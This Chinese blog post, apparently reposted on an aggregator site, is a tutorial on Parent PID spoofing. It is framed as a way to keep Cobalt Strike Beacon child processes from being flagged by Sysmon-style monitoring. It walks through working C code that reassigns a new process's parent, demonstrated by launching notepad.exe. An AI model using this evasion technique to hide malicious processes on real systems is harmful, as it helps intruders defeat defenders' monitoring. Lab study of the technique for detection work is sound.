Malware Dev 01 您所在的位置:网站首页 结构体attribute Malware Dev 01

Malware Dev 01

2023-03-07 10:25| 来源: 网络整理| 查看: 265

写在最前

如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里:

https://discord.gg/9XvvuFq9Wb

我会提供备考过程中尽可能多的帮助,并分享学习和实践过程中的资源和心得,大家一起进步,一起 NB~

背景

把免杀主题放在 Malware Dev 里面有点不恰当,但是真的不想分太细了。我目前就两个方向,Active Directory,和 Malware Dev(包括 shellcode 编写,免杀,C2,Windows 主机安全)。我也不知道自己顾不顾得过来,但是我相信有些东西是通的,越到后面学习曲线越平滑。呵呵呵~

今天先来看一下进程免杀的技巧第一篇,PPID Spoofing。

PPID Spoofing

PPID Spoofing,全称 Parent PID Spoofing。整个过程就是利用 OpenProcess,InitializeProcThreadAttributeList, UpdateProcThreadAttribute, 以及 CreateProcess 这些 API,配合 STARTUPINFOEX 结构在创建进程的时候,做到父进程的切换。

该技术通常用于 Cobalt Strike Beacon 的免杀。通常如 shell, run, execute-assembly, shspawn 等 post-ex 命令默认会创建在 Beacon 进程下。例如,如果 Beacon 是通过 Powershell 拿到的,那么这些命令的进程就会被 fork 在 Powershell 进程之下。

在企业这样的注重安全的环境中,进程创建事件会被密切监控(如 Sysmon)。如果一个进程总是在创建非常规进程,那么 Beacon 就会大概率被查杀。例如我们通过 Powershell 已经拿到了 shell,Cobalt Strike 的 powerpick 命令默认使用 rundll32 进程。而通常情况下 Powershell 进程是不会生成 rundll32 进程的,造成 Beacon 被查杀(当然这有其他办法可以解决,今后有机会在 C2 部分细说)。

因此,PPID Spoofing 技术就是用来改变恶意进程的父进程,至少在某种程度上,混淆视听,增加防御或是溯源的难度。

接下来我们就来看一下 PPID Spoofing 的基本原理。

PPID Spoofing 原理概述

PPID Spoofing 是通过在 STARTUPINFOEXW 结构体中的 PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList 成员中,使用 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 来告诉最终调用调用的 CreateProcess 函数,将即将创建的进程,归入到指定的父进程之下。

PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList 成员是通过 InitializeProcThreadAttributeList 分配内存,并由 UpdateProcThreadAttribute 函数设置其属性(设置成 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS),来达到偷换父进程的目的。

PPID Spoofing 原理详解

我们开始拆解 PPID Spoofing 的整个原理,一步一步实践一个 PPID Spoofing。

初始化 STARTUPINFOEXW 结构

一切从 STARTUPINFOEXW 结构体说起。

STARTUPINFOEXW struct:

typedef struct _STARTUPINFOEXW { STARTUPINFOW StartupInfo; LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; } STARTUPINFOEXW, *LPSTARTUPINFOEXW;

这个结构体包含了两个成员,一个是 STARTUPINFOW,一个是 LPPROC_THREAD_ATTRIBUTE_LIST。我们要关注的是 LPPROC_THREAD_ATTRIBUTE_LIST 这个成员。

首先,我们初始化一个 STARTUPINFOEXW 结构。

STARTUPINFOEX sie = { sizeof(sie) }; 初始化 STARTUPINFOEXW 结构中的 lpAttributeList 成员

我们必须先为 lpAttributeList 成员分配一个内存空间。但是这个空间的大小怎么确定呢?

根据官方文档,这个成员由 InitializeProcThreadAttributeList 函数生成。

InitializeProcThreadAttributeList function:

BOOL InitializeProcThreadAttributeList( [out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, [in] DWORD dwAttributeCount, DWORD dwFlags, [in, out] PSIZE_T lpSize );

这个函数有两个 OUT Parameter,lpAttributeList 和 lpSize。lpSize 是 dwAttributeCount 个 lpAttributeList 中的 flag 的总大小,也就是我们要找的 lpAttributeList 的内存空间大小。在概述中,我们知道这里只需要关心 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 这一个 flag,因此,我们可以这样来获取 lpSize 参数的值。

SIZE_T lpSize; InitializeProcThreadAttributeList ( NULL, // lpAttributeList 先给 NULL,因为第一次调用这个函数是为了获取 lpSize 的值 1, // 我们需要往 lpAttributeList 中放存放 1 个 flag,即 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 0, // 这个参数官方文档强制为 0 &lpSize // 给出 lpSize 的地址,存放函数的返回值 );

第一次调用之后,我们拿到了 lpSize。接下来,就可以用 lpSize 为 STARTUPINFOEXW 结构中的 lpAttributeList 成员分配 lpSize 大小的内存空间。

sie.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)malloc(lpSize);

lpAttributeList 在内存中有了空间,下一步就可以再次调用 InitializeProcThreadAttributeList,来初始化 lpAttributeList 成员。

if (!InitializeProcThreadAttributeList ( sie.lpAttributeList, // lpAttributeList,将被初始化 1, // 我们只需要 1 个 flag 的大小 (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS ) 0, // 文档强制为 0 &lpSize // 拥有 1 个 flag 的 lpAttributeList 的大小 ) ) { _tprintf(L"InitializeProcThreadAttributeList failed. Error code: %d.\n", GetLastError()); return -1; }

到这里,STARTUPINFOEXW 结构体中的 lpAttributeList 成员,就初始化完成了。

UpdateProcThreadAttribute 指定父进程

这里,我们要告诉指定的父进程,在创建新的进程的时候,以该指定的进程作为父进程。

我们调用 UpdateProcThreadAttribute 函数来完成这个任务。

if (!UpdateProcThreadAttribute( sie.lpAttributeList, // 初始化好的 lpAttributeList 成员 0, // 文档强制为 0 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, // 使用 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 来创建新的进程 &hParentProcess, // 新进程的父进程 sizeof(HANDLE), // HANDLE 的 size NULL, // 文档强制为 NULL NULL // 文档强制为 NULL ) ) { _tprintf(L"UpdateProcThreadAttribute failed. Error code: %d.\n", GetLastError()); return -1; }

经过这一步,我们可以调用 CreateProcess,配合 EXTENDED_STARTUPINFO_PRESENT flag,在指定进程下,生成新进程。

在指定进程下 CreateProcess 创建新进程

剩下的就是创建新进程了,经过以上步骤,新的进程将会以指定的进程为父进程来创建。

PROCESS_INFORMATION pi; if (!CreateProcess( L"C:\\Windows\\System32\\notepad.exe", NULL, 0, 0, FALSE, EXTENDED_STARTUPINFO_PRESENT, // 告诉 CreateProcess 使用 STARTUPINFOEXW 中的 StartupInfo NULL, L"C:\\Windows\\System32", &sie.StartupInfo, &pi)) { _tprintf(L"CreateProcess failed. Error code: %d.\n", GetLastError()); return 0; } _tprintf(L"New process created with PID: %d", pi.dwProcessId); DeleteProcThreadAttributeList(sie.lpAttributeList); return 0;

最后看一下效果。我们制定 ProcessHacker.exe 为父进程,那么,notepad.exe 就会生成在 ProcessHacker.exe 下面。

或者是 svchost.exe.

总结

PPID Spoofing 通常结合 Beacon 使用。Cobalt Strike 中也有专门的 PPID 命令来开启 PPID Spoofing。操作系统提供的 API 也是被利用的对象。通过对 PPID Spoofing 的原理的了解,可以发散更多的 API 组合来绕过特定的防御机制。

免杀部分,我们会逐步总结更多的技巧,在本地搭建的 Lab 中逐一实践。

参考链接 https://learn.microsoft.com/en-us/windows/win32/psapi/enumerating-all-processes?redirectedfrom=MSDNhttps://stackoverflow.com/questions/5202114/compare-tchar-with-string-value-in-vchttps://www.geeksforgeeks.org/command-line-arguments-in-c-cpp/https://stackoverflow.com/questions/5669173/is-there-a-format-specifier-that-always-means-char-string-with-tprintfhttps://learn.microsoft.com/en-us/cpp/text/how-to-convert-between-various-string-types?view=msvc-170


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有